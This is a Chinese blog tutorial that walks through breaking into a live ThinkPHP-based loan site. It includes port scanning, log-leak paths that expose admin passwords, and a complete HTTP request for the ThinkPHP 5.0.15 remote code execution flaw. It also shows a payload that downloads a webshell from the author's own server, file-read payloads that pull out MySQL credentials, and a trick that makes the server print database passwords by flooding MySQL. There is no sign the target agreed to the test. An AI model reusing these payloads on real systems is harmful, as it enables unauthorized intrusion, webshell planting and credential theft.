記一個ThinkPHP框架的滲透實戰

下面thinkphp框架教程欄目將給大家分享一個thinkphp框架滲透實戰,希望對需要的朋友有所幫助!

信息收集

找到一個網站 http://x.x.x.x/ 下面開始對他進行滲透

首先使用nmap對受害服務器開放的端口掃描探測端口

記一個ThinkPHP框架的滲透實戰

可以看到開放的端口如下
記一個ThinkPHP框架的滲透實戰

立即學習PHP免費學習筆記(深入)”;

端口就是應用程序在計算機通信中的唯一識別id,通過端口我們就能知道受害服務器開放了什么服務

如3306是mysql并開啟了外聯,接下來我們對端口訪問看看具體開放了什么服務

8080開放了phpmyadmin一款php連接mysql工具我們可以利用他爆破mysql密碼

記一個ThinkPHP框架的滲透實戰

8082是一個貸款首頁

記一個ThinkPHP框架的滲透實戰

隨便輸入一個不存在的路由然后查看錯誤信息如http://x.x.x.x/gfvhf

記一個ThinkPHP框架的滲透實戰

成功報錯:thinkphp框架的版本是5.1.7(這個版本有注入漏洞)

記一個ThinkPHP框架的滲透實戰

8084是一個后臺繼續收集

記一個ThinkPHP框架的滲透實戰

8092是一個后臺,因為部署不規范存在thinkphp日志泄露,路徑 http://x.x.x.x:8092/runtime/log/202112/19.log 可以到里面查看到管理員登錄過的賬號密碼。

這里說一下黑產使用thinkphp框架因為運維半吊子很有可能有thinkphp日志泄露

tp5-6 payload: 域名/runtime/log/202112/19.log (后面的202112/19.log是根據當前日期變化的)

tp3 payload: 域名 /Application/Runtime/Logs/Home/21_12_19.log (后面的21_12_19.log是根據當前日期變化的)

記一個ThinkPHP框架的滲透實戰

8083端口使用的thinkphp版本是5.0.15,5.0.15版本的利用條件低挑軟柿子捏就這個吧

記一個ThinkPHP框架的滲透實戰

信息收集完畢精準打擊

打開burp,然后使用抓包,然后將數據包轉發到burp的Repeater模塊下,將抓包內容替換成如下內容

漏洞原理就不做詳細講解了,沒個php架構層是聽不懂的。簡單描述一下就是一個變量覆蓋造成代碼執行

thinkphp5漏洞poc可參考 https://y4er.com/post/thinkphp5-rce/

下面數據包內容是觸發漏洞讓服務器執行phpinfo()

POST /index.php?s=captcha&echod=phpinfo() HTTP/1.1 Host: x.x.x.x Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.57 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Cookie: pmaCookieVer=5; pma_lang=zh_CN; pma_collation_connection=utf8_unicode_ci; phpMyAdmin=iar4j14536rat57j1d5018qjtt8vj69g Content-Type:application/x-www-form-urlencoded Content-Length: 77  _method=__construct&filter=assert&method=get&server[REQUEST_METHOD]=echod

執行成功,可以看到php的一些詳細信息

記一個ThinkPHP框架的滲透實戰

下面開始寫入shell將請求頭替換成:

POST /index.php s=captcha&echod=copy('http://x.x.x.x/2.txt','t2.php') HTTP/1.1

意思是將我服務器上遠程的shell文件http://x.x.x.x/2.txt下載,寫入到當前web目錄下的t2.php

但我訪問t2.php,出現404猜測應該是當前目錄沒有寫權限

于是嘗試給寫權限:

POST /index.php?s=captcha&echod=chmod('./',0777) HTTP/1.1

發現還是寫不了shell,php權限很低。

將chmod(‘./’,0777) 替換成readfile(‘../application/database.php’)讀取數據庫配置文件。發現成功獲取到mysql賬號密碼。

記一個ThinkPHP框架的滲透實戰

使用我們之前發現的phpmyadmin服務登錄然后mysql開啟外聯

使用mysql管理工具連接,發現一數據庫。并且mysql直接是root權限,可以對服務器進行提權(內網橫向滲透)等。反正外網以經開了一個口子,這里我就不深入了。

記一個ThinkPHP框架的滲透實戰

總結

總結一下我自己摸索出來的一些思路:thinkphp在開啟debug模式下如果服務器開啟了數據庫外聯,可以通過爆破mysql服務發送大量請求(讓mysql堵塞),使thinkphp連接mysql超時就會報連接異常錯誤,并將mysql賬號密碼輸出到頁面上。

推薦學習:《thinkphp框架

? 版權聲明
THE END
喜歡就支持一下吧
點贊6 分享